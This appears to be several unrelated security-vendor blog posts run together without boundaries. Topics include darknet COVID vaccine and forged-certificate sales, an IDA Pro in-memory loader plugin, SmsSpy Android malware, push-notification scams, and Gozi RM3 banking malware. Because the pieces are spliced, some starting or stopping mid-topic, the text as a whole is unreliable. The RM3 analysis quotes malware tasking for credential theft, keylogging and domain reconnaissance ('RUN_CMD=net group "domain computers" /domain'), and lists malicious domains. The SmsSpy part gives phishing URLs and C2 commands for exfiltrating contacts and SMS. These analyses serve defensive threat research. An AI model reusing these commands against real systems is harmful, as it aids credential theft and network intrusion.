At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.
Countries all over the world are racing to achieve so-called herd immunity against COVID-19 by vaccinating their populations. From the initial lockdown to the cancellation of events and the prohibition of business travel, to the reopening of restaurants, and relaxation of COVID restrictions on outdoor gatherings, the vaccine rollout has played a critical role in staving off another wave of infections and restoring some degree of normalcy. However, a new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world. As a result, illegal COVID-19 vaccines and vaccination records are in high demand on darknet marketplaces.
The impact on society is that the proliferation of fraudulent test results and counterfeit COVID-19 vaccine records pose a serious threat to public health and spur the underground economy. Individuals undoubtedly long to return to their pre-pandemic routines and the freedom of travel and behavior denied them over the last year. However, the purchase of false COVID-19 test certifications or vaccination cardsto board aircraft, attend an event or enter a country endangersthemselves,even if they are asymptomatic. It also threatens the lives of other people in their own communities and around the world.Aside from the collective damage to global health, darknet marketplace transactions encourage the supply of illicit goods and services. The underground economy cycle continues as demand creates inventory, which in turn creates supply. In addition to selling COVID-19 vaccines, vaccination cards, and fake test results, cybercriminals can also benefit by reselling the names, dates of birth, home addresses, contact details, and other personally indefinable information of their customers.
Racing Toward a Fully Vaccinated Society Along with a Growing Underground Vaccine Market
As we commemorate the one-year anniversary of the COVID-19 pandemic, at least 184 countries and territories worldwide have started their vaccination rollouts.[1] The United States is vaccinating Americans at an unprecedented rate. As of May 2021, more than 105 million Americans had been fully vaccinated. The growing demand has made COVID-19 vaccines the new “liquid gold” in the pandemic era.
However, following vaccination success, COVID-19 related cybercrime has increased. COVID-19 vaccines are currently available on at least a dozen darknet marketplaces. Pfizer-BioNTech COVID-19 vaccines (and we can only speculate as to whether they are genuine or a form of liquid “fool’s gold”) can be purchased for as little as $500 per dose from top-selling vendors. These sellers use various channels, such as Wickr, Telegram, WhatsApp and Gmail, for advertising and communications. Darknet listings associated with alleged Pfizer-BioNTech COVID-19 vaccines are selling for $600 to $2,500. Prospective buyers can receive the product within 2 to 10 days. Some of these supposed COVID-19 vaccines are imported from the United States, while others are packed in the United Kingdom and shipped to every country in the world, according to the underground advertisement.
Figure 1: Dark web marketplace offering COVID-19 vaccines
Figure 2: Dark web marketplace offering COVID-19 vaccines
A vendor sells 10 doses of what they claim to be Moderna COVID-29 vaccines for $2,000. According to the advertisement, the product is available to ship to the United Kingdom and worldwide.
Figure 3: Dark web marketplace offering COVID-19 vaccines
Besides what are claimed to be COVID-19 vaccines, cybercriminals offer antibody home test kits for $152 (again, we do not know whether they are genuine or not). According to the advertisement, there are various shipping options available. It costs $41 for ‘stealth’ shipping to the United States, $10.38 to ship to the United Kingdom, and $20 to mail the vaccines internationally.
Figure 4: Dark web marketplace offering COVID-19 test kits
Proof of Vaccination in the Underground Market
On the darknet marketplaces, the sales of counterfeit COVID-19 test results and vaccination certificates began to outnumber the COVID vaccine offerings in mid-April. This shift is most likely because COVID-19 vaccines are now readily available for those who want them. People can buy and show these certificates without being vaccinated. A growing number of colleges will require students to have received a COVID-19 vaccine before returning to in-person classes by this fall.[2] Soon, COVID-19 vaccination proof is likely to become a requirement of some type of “passport” to board a plane or enter major events and venues.
The growing demand for proof of vaccination is driving an illicit economy for fake vaccination and test certificates. Opportunistic cybercriminals capitalize on public interest in obtaining a COVID-19 immunity passport, particularly for those who oppose COVID-19 vaccines or test positive for COVID-19 but want to return to school or work, resume travel or attend a public event. Counterfeit negative COVID-19 test results and COVID-19 vaccination cards are available for sale at various darknet marketplaces. Fake CDC-issued vaccination cards are available for $50. One vendor offers counterfeit German COVID-19 certificates for $23.35. Vaccination cards with customized information, such as “verified” batch or lot numbers for particular dates and “valid” medical and hospital information, are also available for purchase.
One darknet marketplace vendor offers to sell a digital copy of the COVID-19 vaccination card with detailed printing instructions for $50.
Figure 5: Dark web marketplace offering COVID-19 vaccination cards
One vendor sells CDC vaccination cards for $1,200 and $1,500, as seen in the following screenshot. These cards, according to the advertisement, can be personalized with details such as the prospective buyer’s name and medical information.
Figure 6: Dark web marketplace offering COVID-19 vaccination cards
Other darknet marketplace vendors offer fake CDC-issued COVID-19 vaccination card packages for $1,200 to $2,500. The package contains a PDF file that buyers can type and print, as well as personalized vaccination cards with “real” lot numbers, according to the advertisement. Prospective buyers can pay $1,200 for blank cards or $1,500 for custom-made cards with valid batch numbers, medical and hospital details.
Figure 7: Dark web marketplace offering COVID-19 vaccination cards
One vendor offers counterfeit negative COVID-19 test results and vaccine passports to potential buyers.
Figure 8: Dark web marketplace offering negative COVID-19 test results and vaccination cards
A seller on another dark web market sells five counterfeit German COVID-19 certificates for $23.35. According to the advertisement below, the product is available for shipping to Germany and the rest of the world.
Figure 9: Dark web marketplace offering German COVID-19 vaccination certificates
Conclusion
The proliferation of fraudulent test results and counterfeit COVID-19 vaccine records on darknet marketplaces poses a significant threat to global health while fueling the underground economy. While an increasing number of countries begin to roll out COVID-19 vaccines and proof of vaccination, questionable COVID vaccines and fake proofs are emerging on the underground market. With the EU and other jurisdictions opening their borders to those who have received vaccinations, individuals will be tempted to obtain false vaccination documents in their drive to a return to pre-pandemic normalcy that includes summer travel and precious time with missed loved ones.Those who buy questionable COVID-19 vaccines or forged vaccination certificates risk their own lives and the lives of others.Apart from the harm to global health, making payments to darknet marketplaces promotesthe growth of illegal products and services. The cycle of the underground economy continues as demand generates inventory, which generates supply. These are the unintended consequences of an effective global COVID vaccine rollout.
Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.
Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).
One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.
Memory Loader Plugin
If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.
Our Memory Loader plugin offers several advanced features to the malware analyst. These include loading files from a memory buffer (any source), loading files from zip files (encrypted/unencrypted), and loading files from a URL. Let’s take a look at each in turn.
Loading Files From a Memory Buffer
This plugin offers a library called Memory Loader that anyone can use to extend further the loading capability of IDA Pro to load files from a memory buffer from any source.
MemoryLoader is the base memory loader, a DLL executable, where the memory loading capabilities are stored. Its main functionally is to take a buffer of bytes from a memory buffer and load it into IDA with the appropriate loading scheme.
You will then have an IDA database file and be able to reverse engineer the file just as if it were loaded from the disk but without the attendant risks that come with saving malware to your local drive.
After you’ve analyzed the binary, save your work and close IDA Pro. The temporary IDA db files will be deleted and you will be left with your IDA database file and no binary on the disk.
Loading Files From a Zip/Encrypted Zip
MemZipLoader is able to load both encrypted and plain ZIP files into memory without writing the file to the disk. The loader accepts specific zip format files (.zip). After accepting a zip file, it will display the zip files and allow you to choose the file you want to work with.
MemZipLoader will extract the file from the input ZIP into a memory buffer and load it into IDA without writing it to disk and storing the encrypted zip file on your drive.
Loading Files From a URL
UrlLoader makes loading a file from a URL very easy. The loader is always suggested for any file you open. After you select UrlLoader, you will be asked to enter a URL, and the file downloaded will be stored in a memory buffer.
You will be able to reverse engineer the file and make changes to the IDA database. After you close the IDA window, you will be left with only the database file.
Place the loaders in the loaders directory of IDA.
MemoryLoader.dll -> (C:\Program Files\IDA Pro 7.5)
MemoryLoader64.dll -> (C:\Program Files\IDA Pro 7.5)
Place the memory loader DLL in the IDA directory folder.
MemZipLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
UrlLoader64.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
UrlLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
MemZipLoader.dll -> (C:\Program Files\IDA Pro 7.5\loaders)
How to Use MemZipLoader & UrlLoader
You can load binaries with MemZipLoader and UrlLoader as follows:
MemZipLoader:
Open IDA and choose zip file.
IDA should automatically suggest the loader:
Once selected, a list of the files from the zip will be displayed:
IDA will then use the loader code and load it as if the binary was a local file on the system.
UrlLoader:
Open any file on your computer in a directory you have write privileges to.
The UrlLoader will suggest a file to open.
After you chose UrlLoader, you will be asked enter a URL:
The loader will browse to the network location you entered. Then IDA Pro will use the loader code and load the binary as if it was a local file.
Setting Up Visual Studio Development
In order to set up the plugin for Visual Studio development, follow these steps.
Open a DLL project in Visual Studio
An IDA loader has three key parts: the accept function, the load function and the loader definition block. Your dllmain file is the file where the loader definition will be.
accept_file – this function returns a boolean if the loader is relevant to the current binary that is being loaded into IDA. For example, if you are loading a PE, the build_loaders_list should return PE.dll as one of the loading options.
load_file – this function is responsible for loading a file into the database. For each loader this function acts differently, so there is not much to say here. Documentation on loaders can be found here.
The project can be compiled into two versions x64 for IDA with x64 addresses, and x64 for IDA x64 with 32 bit addresses. From this point forward we will mark them:
X64 | X64 – 64 bit IDA with 64 BIT addresses
X32 | X64 – 64 bit IDA with 32 BIT addresses
Target file name (Configuration Properties -> Target Name)
When downloading malware to analyze from repositories like VirusTotal, the sample is usually zipped so that the endpoint security doesn’t detect it as malicious. Using our Memory Loader plugin will enable you to reverse engineer malicious binaries without writing them to the disk.
Using the Memory Loader plugin also saves you time analyzing binaries. When working with malicious content in IDA Pro often a different environment is created for it, usually in a virtual machine. Copying the binary and setting up the machine for research every time you want to open IDA is time-expensive. The Memory Loader plugin will allow you to work from your machine in a safer and more productive way.
Please note that a IDA professional license is needed to use and develop extensions for IDA Pro.
The Roaming Mantis smishing campaign has been impersonating a logistics company to steal SMS messages and contact lists from Asian Android users since 2018. In the second half of 2020, the campaign improved its effectiveness by adopting dynamic DNS services and spreading messages with phishing URLs that infected victims with the fake Chrome application MoqHao.
Since January 2021, however, the McAfee Mobile Research team has established that Roaming Mantis has been targeting Japanese users with a new malware called SmsSpy. The malicious code infects Android users using one of two variants depending on the version of OS used by the targeted devices. This ability to download malicious payloads based on OS versions enables the attackers to successfully infect a much broader potential landscape of Android devices.
Smishing Technique
The phishing SMS message used is similar to that of recent campaigns, yet the phishing URL contains the term “post” in its composition.
Japanese message: I brought back your luggage because you were absent. please confirm. hxxps://post[.]cioaq[.]com
Fig: Smishing message impersonating a notification from a logistics company. (Source: Twitter)
Another smishing message pretends to be a Bitcoin operator and then directs the victim to a phishing site where the user is asked to verify an unauthorized login.
Japanese message: There is a possibility of abnormal login to your [bitFlyer] account. Please verify at the following URL: hxxps://bitfiye[.]com
Fig: Smishing message impersonating a notification from a bitcoin operator. (Source: Twitter)
During our investigation, we observed the phishing website hxxps://bitfiye[.]com redirect to hxxps://post.hygvv[.]com. The redirected URL contains the word “post” as well and follows the same format as the first screenshot. In this way, the actors behind the attack attempt to expand the variation of the SMS phishing campaign by redirecting from a domain that resembles a target company and service.
Malware Download
Characteristic of the malware distribution platform, different malware is distributed depending on the Android OS version that accessed the phishing page. On Android OS 10 or later, the fake Google Play app will be downloaded. On Android 9 or earlier devices, the fake Chrome app will be downloaded.
Japanese message in the dialog: “Please update to the latest version of Chrome for better security.”
Fig: Fake Chrome application for download (Android OS 9 or less)
Japanese message in the dialog: “[Important] Please update to the latest version of Google Play for better security!”
Fig: Fake Google Play app for download (Android OS 10 or above)
Because the malicious program code needs to be changed with each major Android OS upgrade, the malware author appears to cover more devices by distributing malware that detects the OS, rather than attempting to cover a smaller set with just one type of malware
Technical Behaviors
The main purpose of this malware is to steal phone numbers and SMS messages from infected devices. After it runs, the malware pretends to be a Chrome or Google Play app that then requests the default messaging application to read the victim’s contacts and SMS messages. It pretends to be a security service by Google Play on the latest Android device. Additionally, it can also masquerade as a security service on the latest Android devices. Examples of both are seen below.
Japanese message: “At first startup, a dialog requesting permissions is displayed. If you do not accept it, the app may not be able to start, or its functions may be restricted.”
Fig: Default messaging app request by fake Chrome app
Japanese message: “Secure Internet Security. Your device is protected. Virus and Spyware protection, Anti-phishing protection and Spam mail protection are all checked.”
Fig: Default messaging app request by fake Google Play app
After hiding its icon, the malware establishes a WebSocket connection for communication with the attacker’s command and control (C2) server in the background. The default destination address is embedded in the malware code. It further has link information to update the C2 server location in the event it is needed. Thus, if no default server is detected, or if no response is received from the default server, the C2 server location will be obtained from the update link.
The MoqHao family hides C2 server locations in the user profile page of a blog service, yet some samples of this new family use a Chinese online document service to hide C2 locations. Below is an example of new C2 server locations from an online document:
Fig: C2 server location described in online document
As part of the handshake process, the malware sends the Android OS version, phone number, device model, internet connection type (4G/Wi-Fi), and unique device ID on the infected device to the C2 server.
Then it listens for commands from the C2 server. The sample we analyzed supported the commands below with the intention of stealing phone numbers in Contacts and SMS messages.
Command String
Description
通讯录
Send whole contact book to server
收件箱
Send all SMS messages to server
拦截短信&open
Start <Delete SMS message>
拦截短信&close
Stop <Delete SMS message>
发短信&
Command data contains SMS message and destination number, send them via infected device
Table: Remote commands via WebSocket
Conclusion
We believe that the ongoing smishing campaign targeting Asian countries is using different mobile malware such as MoqHao, SpyAgent, and FakeSpy. Based on our research, the new type of malware discovered this time uses a modified infrastructure and payloads. We believe that there could be several groups in the cyber criminals and each group is developing their attack infrastructures and malware separately. Or it could be the work of another group who took advantage of previously successful cyber-attacks.
McAfee Mobile Security detects this threat as Android/SmsSpy and alerts mobile users if it is present and further protects them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.
NVIDIA GeForce Experience (GFE) v.<= 3.21 is affected by an Arbitrary File Write vulnerability in the GameStream/ShadowPlay plugins, where log files are created using NT AUTHORITY\SYSTEM level permissions, which lead to Command Execution and Elevation of Privileges (EoP). NVIDIA Security Bulletin – April 2021 NVIDIA Acknowledgements Page This blog post is a re-post of the […]
McAfee is tracking an increase in the use of deceptive popups that mislead some users into taking action, while annoying many others. A significant portion is attributed to browser-based push notifications, and while there are a couple of simple steps users can take to prevent and remediate the situation, there is also some confusion about how these should be handled.
How does this happen?
In many cases scammers use deception to trick users into Allowing push notifications to be delivered to their system.
In other cases, there is no deception involved. Users willingly opt-in uncoerced.
What happens next?
After Allowing notifications, messages quickly start being received. Some sites send notifications as often as every minute.
Many messages are deceptive in nature. Consider this fake alert example. Clicking the message leads to an imposter Windows Defender alert website, complete with MP3 audio and a phone number to call.
In several other examples, social engineering is crafted around the McAfee name and logo. Clicking on the messages lead to various websites informing the user their subscription has expired, that McAfee has detected threats on their system, or providing direct links to purchase a McAfee subscription. Note that “Remove Ads” and similar notification buttons typically lead to the publishers chosen destination rather than anything that would help the user in disabling the popups. Also note that many of the destination sites themselves prompt the user to Allow more notifications. This can have a cascading effect where the user is soon flooded with many messages on a regular basis.
How can this be remediated?
First, it’s important to understand that the representative images provided here are not indications of a virus infection. It is not necessary to update or purchase software to resolve the matter. There is a simple fix:
1. Note the name of the site sending the notification in the popup itself. It’s located next to the browser name, for example:
Example popup with a link to a Popup remover
2. Go to your browser settings’ notification section
3. Search for the site name and click the 3 dotes next to the entry.
Chrome’s notification settings
4. Select Block
Great, but how can this be prevented in the future?
The simplest way is to carefully read such authorization prompts and only click Allow on sites that you trust. Alternatively, you can disable notification prompts altogether.
As the saying goes, an ounce of prevention is worth a pound of cure.
What other messages should I be on the lookout for?
While there are thousands of various messages and sites sending them, and messages evolve over time, these are the most common seen in April 2021:
Our Research and Intelligence Fusion Team have been tracking the Gozi variant RM3 for close to 30 months. In this post we provide some history, analysis and observations on this most pernicious family of banking malware targeting Oceania, the UK, Germany and Italy.
We’ll start with an overview of its origins and current operations before providing a deep dive technical analysis of the RM3 variant.
Introduction
Despite its long and rich history in the cyber-criminal underworld, the Gozi malware family is surrounded with mystery and confusion. The leaking of its source code only increased this confusion as it led to an influx of Gozi variants across the threat landscape.
Although most variants were only short-lived – they either disappeared or were taken down by law enforcement – a few have had greater staying power.
Since September 2019, Fox-IT/NCC Group has intensified its research into known active Gozi variants. These are operated by a variety of threat actors (TAs) and generally cause financial losses by either direct involvement in transactional fraud, or by facilitating other types of malicious activity, such as targeted ransomware activity.
Gozi ISFB started targeting financial institutions around 2013-2015 and hasn’t stopped since then. It is one of the few – perhaps the only – main active branches of the notorious 15 year old Gozi / CRM. Its popularity is probably due to the wide range of variants which are available and the way threat actor groups can use these for their own goals.
In 2017, yet another new version was detected in the wild with a number of major modifications compared to the previous main variant:
Rebranded RM loader (called RM3)
Used exotic PE file format exclusively designed for this banking malware
Modular architecture
Network communication reworked
New modules
Given the complex development history of the Gozi ISFB forks, it is difficult to say with any certainty which variant was used as the basis for RM3. This is further complicated by the many different names used by the Cyber Threat Intelligence and Anti-Virus industries for this family of malware. But if you would like to understand the rather tortured history of this particular malware a little better, the research and blog posts on the subject by Check Pointare a good starting point.
Banking malware targeting mainly Europe & Oceania
With more than four years of activity, RM3 has had a significant impact on the financial fraud landscape by spreading a colossal number of campaigns, principally across two regions:
Oceania, to date, Australia and New Zealand are the most impacted countries in this region. Threat actors seemed to have significant experience and used traditional means to conduct fraud and theft, mainly using web injects to push fakes or replacers directly into financial websites. Some of these injectors are more advanced than the usual ones that could be seen in bankers, and suggest the operators behind them were more sophisticated and experienced.
Europe, targeting primarily the UK, Germany and Italy. In this region, a manual fraud strategy was generally followed which was drastically different to the approach seen in Oceania.
Two different approaches to fraud used in Europe and Oceania
It’s worth noting that ‘Elite’ in this context means highly skilled operators. The injects provided and the C&C servers are by far the most complicated and restricted ones seen up to this date in the fraud landscape.
Fox-IT/NCC Group has currently counted at least eight* RM3 infrastructures:
4 in Europe
2 in Oceania (that seem to be linked together based on the fact that they share the same inject configurations)
1 worldwide (using AES-encryption)
1 unknown
Looking back, 2019 seems to have been a golden age (at least from the malware operators’ perspective), with five operators active at the same time. This golden age came to a sudden end with a sharp decline in 2020.
RM3 timeline of active campaigns seen in the wild
Even when some RM3 controllers were not delivering any new campaigns, they were still managing their bots by pushing occasional updates and inspecting them carefully. Then, after a number of weeks, they start performing fraud on the most interesting targets. This is an extremely common pattern among bank malware operators in our experience, although the reasons for this pattern remain unclear. It may be a tactic related to maintaining stealth or it may simply be an indication of the operators lagging behind the sheer number of infections.
The global pandemic has had a noticeable impact on many types of RM3 infrastructure, as it has on all malware as a service (MaaS) operations. The widespread lockdowns as a result of the pandemic have resulted in a massive number of bots being shut down as companies closed and users were forced to work from home, in some cases using personal computers. This change in working patterns could be an explanation for what happened between Q1 & Q3 2020, when campaigns were drastically more aggressive than usual and bot infections intensified (and were also of lower quality, as if it was an emergency). The style of this operation differed drastically from the way in which RM3 operated between 2018 and 2019, when there was a partnership with a distributor actor called Sagrid.
Analysis of the separate campaigns reveals that individual campaign infrastructures are independent from each of the others and operate their own strategies:
RM3 Infra
Tasks
Injects †
Financial
VNC
SOCKS
UK 1
No‡
Yes
Yes
Yes
UK 2
Yes
No
No
No
Italy
No‡
Yes
Yes
Yes
Australia/NZ 1
Yes
Yes
No‡
No
Australia/NZ 2
Yes
Yes
No‡
No
RM3 .at
???
???
???
???
Germany
???
???
???
???
Worldwide
Yes
No
No
No
† Based on the web inject configuration file from config.bin ‡ Based on active campaign monitoring, threat actor team(s) are mainly inspecting bots to manually push extra commands like VNC module for starting fraud activities.
A robust and stable distribution routine
As with many malware processes, renewing bots is not a simple, linear thing and many elements have to be taken into consideration:
Malware signatures
Packer evading AV/EDR
Distribution used (ratio effectiveness)
Time of an active campaign before being takedown by abuse
Many channels have been used to spread this malware, with distribution by spam (malspam) the most popular – and also the most effective. Multiple distribution teams are behind these campaigns and it is difficult to identify all of them; particularly so now, given the increased professionalisation of these operations (which now can involve shorter term, contractor like relationships). As a result, while malware campaign infrastructures are separate, there is now more overlap between the various infrastructures. It is certain however that one actor known as Sagrid was definitely the most prolific distributor. Around 2018/2019, Sagrid actively spread malware in Australia and New Zealand, using advanced techniques to deliver it to their victims.
RM3 distribution over the past 4 years
The graphic below shows the distribution method of an individual piece of RM3 malware in more detail.
A simplified path of a payload from its compilation to its delivery
Interestingly, the only exploit kit seen to be involved in the distribution of RM3 has been Spelevo – at least in our experience. These days, Exploit Kits (EK) are not as active as in their golden era in the 2010s (when Angler EK dominated the market along with Rig and Magnitude). But they are still an interesting and effective technique for gathering bots from corporate networks, where updates are complicated and so can be delayed or just not performed. In other words, if a new bot is deployed using an EK, there is a higher chance that it is part of big network than one distributed by a more ‘classic’ malspam campaign.
Strangely, to this date, RM3 has never been observed targeting financial institutions in North America. Perhaps there are just no malicious actors who want to be part of this particular mule ecosystem in that zone. Or perhaps all the malicious actors in this region are still making enough money from older strains or another banking malware.
Nowadays, there is a steady decline in banking malware in general, with most TAs joining the rising and explosive ransomware trend. It is more lucrative for bank malware gangs to stop their usual business and try to get some exclusive contracts with the ransom teams. The return on investment (ROI) of a ransom paid by a victim is significantly higher than for the whole classic money mule infrastructure. The cost and time required in money mule and inject operations are much more complex than just giving access to an affiliate and awaiting royalties.
Large number of financial institutions targeted
Fox-IT/NCC Group has identified more than 130 financial institution targeted by threat actor groups using this banking malware. As the table below shows, the scope and impact of these attacks is particularly concentrated on Oceania. This is also the only zone where loan and job websites are targeted. Of course, targeting job websites provides them with further opportunities to hire money mules more easily within their existing systems.
Country
Banks
Web Shops
Job Offers
Loans
Crypto Services
UK
28
1
0
0
0
IT
17
0
0
0
0
AU/NZ
80~
0
2
2
6
A short timeline of post-pandemic changes
As we’ve already said, the pandemic has had an impact across the entire fraud landscape and forced many TAs (not just those using RM3) to drastically change their working methods. In some cases, they have shut down completely in one field and started doing something else. For RM3 TAs, as for all of us, these are indeed interesting times.
Q3 2019 – Q2 2020, Classic fraud era
Before the pandemic, the tasks pushed by RM3 were pretty standard when a bot was part of the infrastructure. The example below is a basic check for a legitimate corporate bot with an open access point for a threat actor to connect to and start to use for fraud.
Otherwise, the banking malware was configured as an advanced infostealer, designed to steal data and intercept all keyboard interactions.
GET_CREDS
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*
Q4 2020 – Now, Bot Harvesting Era
Nowadays, bots are basically removed if they are coming from old infrastructures, if they are not part of an active campaign. It’s an easy way for them for removing researcher bots
DEL_CONFIG
Otherwise, this is a classic information gathering system operation on the host and network. Which indicates TAs are following the ransomware path and declining their fraud legacy step by step.
GET_SYSINFO
RUN_CMD=net group "domain computers" /domain
RUN_CMD=net session
RM3 Configs – Invaluable threat intelligence data
RM3.AT
Around the summer of 2019, when this banking malware was at its height, an infrastructure which was very different from the standard ones first emerged. It mostly used infostealers for distribution and pushed an interesting variant of the RM3 loader.
Based on configs, similarities with the GoziAT TAs were seen. The crossovers were:
both infrastructure are using the .at TLD
subdomains and domains are using the same naming convention
Server ID is also different from the default one (12)
Default nameservers config
First seen when GoziAT was curiously quiet
An example loader.ini file for RM3.at is shown below:
But this RM3 infrastructure disappeared just a few weeks later and has never been seen again. It is not known if the TAs were satisfied with the product and its results and it remains one of the unexplained curiosities of this banking malware
But, we can say this marked the return of GoziAT, which was back on track with intense campaigns.
Other domains related to this short lived RM3 infrastructure were.
api.fiho.at
y1.rexa.at
cde.frame303.at
api.frame303.at
u2.inmax.at
cdn5.inmax.at
go.maso.at
f1.maso.at
Standard routine for other infrastructures
Meanwhile, a classic loader config will mostly need standard data like any other malware:
C&C domains (called hosts on the loader side)
Timeout values
Keys
The example below shows a typical loader.ini file from a more ‘classic’ infrastructure. This one is from Germany, but similar configurations were seen in the UK1, Australia/New Zealand1 and Italian infrastructures:
Active monitoring of current in-the-wild instances suggests that the RM3 TAs are progressively switching to the ransomware path. That is, they have not pushed any updates on the fraud side of their operations for a number of months (by not pushing any injects), but they are still maintaining their C&C infrastructure. All infrastructure has a cost and the fact they are maintaining their C&C infrastructure without executing traditional fraud is a strong indication they are changing their strategy to another source of income.
The tasks which are being pushed (and old ones since May 2020) are triage steps for selecting bots which could be used for internal lateral movement. This pattern of behaviour is becoming more evident everyday in the latest ongoing campaigns, where everyone seems to be targeted and the inject configurations have been totally removed.
As a reminder, over the past two years banking malware gangs in general have been seen to follow this trend. This is due to the declining fraud ecosystem in general, but also due to the increased difficulty in finding inject developers with the skills to develop effective fakes which this decline has also prompted.
How banking TAs can migrate from fraud to ransom (or any other businesses)
We consider RM3 to be the most advanced ISFB strain to date, and fraud tools can easily be switched into a malicious red team like strategy.
RM3 evolving to support two different use cases at the same time
Why is RM3 the most advanced ISFB strain?
As we said, we consider RM3 to be the most advanced ISFB variant we have seen. When we analyse the RM3 payload, there is a huge gap between it and its predecessors. There are multiple differences:
A new PE format called PX has been developed
The .bss section is slightly updated for storing RM3 static variables
A new structure called WD based on the J1/J2/J3/JJ ISFB File Join system for storing files
Architecture differences between ISFB v2 and RM3 payload (main sections discussed below)
PX Format
As mentioned, RM3 is designed to work with PX payloads (Portable eXecutable). This is an exotic file format created for, and only used with, this banking malware. The structure is not very different from the original PE format, with almost all sections, data directories and section tables remaining intact. Essentially, use of the new file format just requires malware to be re-crafted correctly in a new payload at the correct offset.
PX Header
BSS section
The bss section (Block Starting Symbol) is a critical data segment used by all strains of ISFB for storing uninitiated static local variables. These variables are encrypted and used for different interactions depending on the module in use.
In a compiled payload, this section is usually named “.bss0”. But evidence from a source code leak shows that this is originally named “.bss” in the source code. These comments also make it clear that this module is encrypted.
The encrypted .bss section
This is illustrated by the source code comments shown below:
// Original section name that will be created within a file
#define CS_SECTION_NAME ".bss0"
// The section will be renamed after the encryption completes.
// This is because we cannot use reserved section names aka ".rdata" or ".bss" during compile time.
#define CS_NEW_SECTION_NAME ".bss"
When working with ISFB, it is common to see the same mechanism or routine across multiple compiled builds or variants. However, it is still necessary to analyse them all in detail because slight adjustments are frequently introduced. Understanding these minor changes can help with troubleshooting and explain why scripts don’t work. The decryption routine in the bss section is a perfect example of this; it is almost identical to ISFB v2 variants, but the RM3 developers decided to tweak it just slightly by creating an XOR key in a different way – adding a FILE_HEADER.TimeDateStamp with the gs_Cookie (this information based on the ISFB leak).
Decrypted strings from the .bss section being parsed by IDA
Occasionally, it is possible to see a debugged and compiled version of RM3 in the wild. It is unknown if this behaviour is intended for some reason or simply a mistake by TA teams, but it is a gold mine for understanding more about the underlying code.
WD Struct
ISFB has its own way of storing and using embedded files. It uses a homemade structure that seems to change its name whenever there is a new strain or a major ISFB update:
FJ or J1 – Old ISFB era
J2 – Dreambot
J3 – ISFB v3 (Only seen in Japan)
JJ – ISFB v2 (v2.14+ – now)
WD – RM3 / Saigon
To get a better understanding of the latest structure in use, it is worth taking a quick look back at the active strains of ISFB v2 still known to use the JJ system.
The structure is pretty rudimentary and can be summarised like this:
With RM3, they decided to slightly rework the join file philosophy by creating a new structure called WD. This is basically just a rebranded concept; it just adds the JJ structure (seen above) and stores it as a pointer array.
The structure itself is really simple:
struct WD_Struct {
DWORD size;
WORD magic;
WORD flag;
JJ_Struct *jj;
} WD;
In allRM3 builds, these structures simply direct the malware to grab an average of at least 4 files†:
A PX loader
An RSA pubkey
An RM3 config
A wordlist that will be mainly used for create subkeys in the registry
† The amount of files is dependent on the loader stage or RM3 modules used. It is also based on the ISFB variant, as another file could be present which stores the langid value (which is basically the anti-cis feature for this banking malware).
Architecture
Every major ISFB variant has something that makes it unique in some way. For example, the notorious Dreambot was designed to work as a standalone payload; the whole loader stage walk-through was removed and bots were directly pointed at the correct controllers. This choice was mainly explained by the fact that this strain was designed to work as malware as a service. It is fairly standard right now to see malware developers developing specific features for TAs – if they are prepared to pay for them. In these agreements, TAs can be guaranteed some kind of exclusivity with a variant or feature. However, this business model does also increase the risk of misunderstanding and overlap in term of assigning ownership and responsibility. This is one of the reasons it is harder to get a clear picture of the activities happening between malware developers & TAs nowadays.
But to get back to the variant we are discussing here; RM3 pushed the ISFB modular plugin system to its maximum potential by introducing a range of elements into new modules that had never been seen before. These new modules included:
bl.dll
explorer.dll
rt.dll
netwrk.dll
These modules are linked together to recreate a modded client32.bin/client64.bin (modded from the client.bin seen in ISFB v2). This new architecture is much more complicated to debug or disassemble. In the end, however, we can split this malware into 4 main branches:
A modded client32.bin/client64.bin
A browser module designed to setup hooks and an SSL proxy (used for POST HTTP/HTTPS interception)
A remote shell (probably designed for initial assessments before starting lateral attacks)
A fraud arsenal toolkit (hidden VNC, SOCKs proxy, etc…)
RM3 Architecture
RM3 Loader – Major ISFB update? Or just a refactored code?
The loader is a minimalist plugin that contains only the required functions for doing three main tasks:
Contacting a loader C&C (which is called host), downloading critical RM3 modules and storing them into the registry (bl.dll, explorer.dll, rt.dll, netwrk.dll)
Setting up persistence†
Rebooting everything and making sure it has removed itself†.
An overview of the second stage loader
These functions are summarised in the following schematic.‡
† In the 3009XX build above, a TA can decide to setup the loader as persistent itself, or remove the payload.
‡ Of course, the loader has more details than could be mentioned here, but the schematic shows the main concepts for a basic understanding.
RM3 Network beacons – Hiding the beast behind simple URIs
C&C beacon requests have been adjusted from the standard ISFB v2 ones, by simplifying the process with just two default URI. These URIs are dynamic fields that can be configured from the loader and client config. This is something that older strains are starting to follow since build 250172.
When it switches to the controller side, RM3 saves HTTPS POST requests performed by the users. These are then used to create fake but legitimate looking paths.
Changing RM3 URI path dynamically
